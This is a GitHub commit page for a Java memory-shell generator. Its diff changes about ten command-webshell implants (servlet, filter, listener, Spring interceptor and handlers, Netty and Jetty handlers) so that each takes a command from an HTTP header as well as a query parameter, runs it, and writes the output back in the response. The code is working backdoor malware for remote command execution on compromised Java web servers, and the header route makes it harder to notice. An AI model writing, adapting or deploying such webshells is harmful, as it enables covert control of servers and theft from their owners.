Skip to content

Commit 5ad7aec

Browse files
committed
feat: support command shell get cmd from header
1 parent a93da6d commit 5ad7aec

13 files changed

+102
-88
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java

Lines changed: 8 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -3,6 +3,7 @@
33
import java.io.InputStream;
44
import java.io.OutputStream;
55
import java.lang.reflect.Field;
6+
import java.util.Scanner;
67

78
/**
89
* @author ReaJason
@@ -17,15 +18,15 @@ public boolean equals(Object obj) {
1718
Object request = unwrap(args[0], "request");
1819
Object response = unwrap(args[1], "response");
1920
try {
20-
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
21-
if (param != null) {
21+
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
22+
if (p == null || p.isEmpty()) {
23+
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
24+
}
25+
if (p != null) {
26+
String param = getParam(p);
2227
InputStream inputStream = getInputStream(param);
2328
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
24-
byte[] buf = new byte[8192];
25-
int length;
26-
while ((length = inputStream.read(buf)) != -1) {
27-
outputStream.write(buf, 0, length);
28-
}
29+
outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
2930
return true;
3031
}
3132
} catch (Throwable e) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandControllerHandler.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,12 @@ public class CommandControllerHandler implements Controller {
1717

1818
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
1919
try {
20-
String param = getParam(request.getParameter(paramName));
21-
if (param != null) {
20+
String p = request.getParameter(paramName);
21+
if (p == null || p.isEmpty()) {
22+
p = request.getHeader(paramName);
23+
}
24+
if (p != null) {
25+
String param = getParam(p);
2226
InputStream inputStream = getInputStream(param);
2327
ServletOutputStream outputStream = response.getOutputStream();
2428
byte[] buf = new byte[8192];

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,12 @@ public void doFilter(ServletRequest request, ServletResponse response, FilterCha
1818
HttpServletRequest servletRequest = (HttpServletRequest) request;
1919
HttpServletResponse servletResponse = (HttpServletResponse) response;
2020
try {
21-
String param = getParam(servletRequest.getParameter(paramName));
22-
if (param != null) {
21+
String p = servletRequest.getParameter(paramName);
22+
if (p == null || p.isEmpty()) {
23+
p = servletRequest.getHeader(paramName);
24+
}
25+
if (p != null) {
26+
String param = getParam(p);
2327
InputStream inputStream = getInputStream(param);
2428
ServletOutputStream outputStream = servletResponse.getOutputStream();
2529
byte[] buf = new byte[8192];

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerFunction.java

Lines changed: 13 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -5,10 +5,9 @@
55
import org.springframework.web.reactive.function.server.ServerResponse;
66
import reactor.core.publisher.Mono;
77

8-
import java.io.BufferedReader;
98
import java.io.InputStream;
10-
import java.io.InputStreamReader;
119
import java.util.Optional;
10+
import java.util.Scanner;
1211

1312
/**
1413
* @author ReaJason
@@ -19,25 +18,25 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
1918

2019
@Override
2120
public Mono<ServerResponse> handle(ServerRequest request) {
21+
String p = null;
2222
Optional<String> paramOptional = request.queryParam(paramName);
23-
if (!paramOptional.isPresent()) {
24-
return Mono.empty();
23+
if (paramOptional.isPresent()) {
24+
p = paramOptional.get();
2525
}
26-
StringBuilder result = new StringBuilder();
26+
if (p == null || p.isEmpty()) {
27+
p = request.headers().firstHeader(paramName);
28+
}
29+
String result = "";
2730
try {
28-
String param = getParam(paramOptional.get());
29-
InputStream inputStream = getInputStream(param);
30-
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
31-
String line;
32-
while ((line = bufferedReader.readLine()) != null) {
33-
result.append(line);
34-
result.append(System.lineSeparator());
35-
}
31+
if (p != null) {
32+
String param = getParam(p);
33+
InputStream inputStream = getInputStream(param);
34+
result = new Scanner(inputStream).useDelimiter("\\A").next();
3635
}
3736
} catch (Throwable e) {
3837
e.printStackTrace();
3938
}
40-
return ServerResponse.ok().body(Mono.just(result.toString()), String.class);
39+
return ServerResponse.ok().body(Mono.just(result), String.class);
4140
}
4241

4342
private String getParam(String param) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandHandlerMethod.java

Lines changed: 10 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,8 @@
33
import org.springframework.http.ResponseEntity;
44
import org.springframework.web.server.ServerWebExchange;
55

6-
import java.io.BufferedReader;
76
import java.io.InputStream;
8-
import java.io.InputStreamReader;
7+
import java.util.Scanner;
98

109
/**
1110
* @author ReaJason
@@ -15,23 +14,21 @@ public class CommandHandlerMethod {
1514
public static String paramName;
1615

1716
public ResponseEntity<?> invoke(ServerWebExchange exchange) {
18-
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName));
19-
StringBuilder result = new StringBuilder();
17+
String p = exchange.getRequest().getQueryParams().getFirst(paramName);
18+
if (p == null || p.isEmpty()) {
19+
p = exchange.getRequest().getHeaders().getFirst(paramName);
20+
}
21+
String result = "";
2022
try {
21-
if (param != null) {
23+
if (p != null) {
24+
String param = getParam(p);
2225
InputStream inputStream = getInputStream(param);
23-
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
24-
String line;
25-
while ((line = bufferedReader.readLine()) != null) {
26-
result.append(line);
27-
result.append(System.lineSeparator());
28-
}
29-
}
26+
result = new Scanner(inputStream).useDelimiter("\\A").next();
3027
}
3128
} catch (Throwable e) {
3229
e.printStackTrace();
3330
}
34-
return ResponseEntity.ok(result.toString());
31+
return ResponseEntity.ok(result);
3532
}
3633

3734
private String getParam(String param) {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandInterceptor.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -18,8 +18,12 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
1818
@Override
1919
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
2020
try {
21-
String param = getParam(request.getParameter(paramName));
22-
if (param != null) {
21+
String p = request.getParameter(paramName);
22+
if (p == null || p.isEmpty()) {
23+
p = request.getHeader(paramName);
24+
}
25+
if (p != null) {
26+
String param = getParam(p);
2327
InputStream inputStream = getInputStream(param);
2428
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
2529
return false;

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandJettyHandler.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,8 +33,12 @@ public boolean equals(Object obj) {
3333
response = args[1];
3434
}
3535
try {
36-
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName));
37-
if (param != null) {
36+
String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
37+
if (p == null || p.isEmpty()) {
38+
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
39+
}
40+
if (p != null) {
41+
String param = getParam(p);
3842
InputStream inputStream = getInputStream(param);
3943
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
4044
byte[] buf = new byte[8192];

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandListener.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,8 +17,12 @@ public class CommandListener implements ServletRequestListener {
1717
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
1818
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
1919
try {
20-
String param = getParam(request.getParameter(paramName));
21-
if (param != null) {
20+
String p = request.getParameter(paramName);
21+
if (p == null || p.isEmpty()) {
22+
p = request.getHeader(paramName);
23+
}
24+
if (p != null) {
25+
String param = getParam(p);
2226
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
2327
InputStream inputStream = getInputStream(param);
2428
ServletOutputStream outputStream = servletResponse.getOutputStream();

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandNettyHandler.java

Lines changed: 11 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,10 @@
77
import io.netty.channel.ChannelHandlerContext;
88
import io.netty.handler.codec.http.*;
99

10-
import java.io.BufferedReader;
1110
import java.io.InputStream;
12-
import java.io.InputStreamReader;
1311
import java.net.URI;
1412
import java.nio.charset.StandardCharsets;
13+
import java.util.Scanner;
1514

1615
/**
1716
* @author ReaJason
@@ -26,28 +25,26 @@ public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception
2625
if (msg instanceof HttpRequest) {
2726
HttpRequest request = (HttpRequest) msg;
2827
HttpHeaders headers = request.headers();
29-
String param = getParam(getParamFromUrl(request.uri(), paramName));
30-
if (param == null) {
28+
String p = getParamFromUrl(request.uri(), paramName);
29+
if (p == null || p.isEmpty()) {
30+
p = headers.get(paramName);
31+
}
32+
if (p == null) {
3133
ctx.fireChannelRead(msg);
3234
return;
3335
}
34-
StringBuilder result = new StringBuilder();
36+
String result = "";
3537
try {
38+
String param = getParam(p);
3639
InputStream inputStream = getInputStream(param);
37-
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) {
38-
String line;
39-
while ((line = bufferedReader.readLine()) != null) {
40-
result.append(line);
41-
result.append(System.lineSeparator());
42-
}
43-
}
40+
result = new Scanner(inputStream).useDelimiter("\\A").next();
4441
} catch (Throwable e) {
4542
e.printStackTrace();
4643
}
4744
send(ctx, result.toString());
48-
} else {
49-
ctx.fireChannelRead(msg);
45+
return;
5046
}
47+
ctx.fireChannelRead(msg);
5148
}
5249

5350
private void send(ChannelHandlerContext ctx, String context) throws Exception {

generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java

Lines changed: 6 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -22,9 +22,13 @@ protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws Se
2222

2323
@Override
2424
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
25-
String param = getParam(request.getParameter(paramName));
2625
try {
27-
if (param != null) {
26+
String p = request.getParameter(paramName);
27+
if (p == null || p.isEmpty()) {
28+
p = request.getHeader(paramName);
29+
}
30+
if (p != null) {
31+
String param = getParam(p);
2832
InputStream inputStream = getInputStream(param);
2933
ServletOutputStream outputStream = response.getOutputStream();
3034
byte[] buf = new byte[8192];

0 commit comments

Comments
 (0)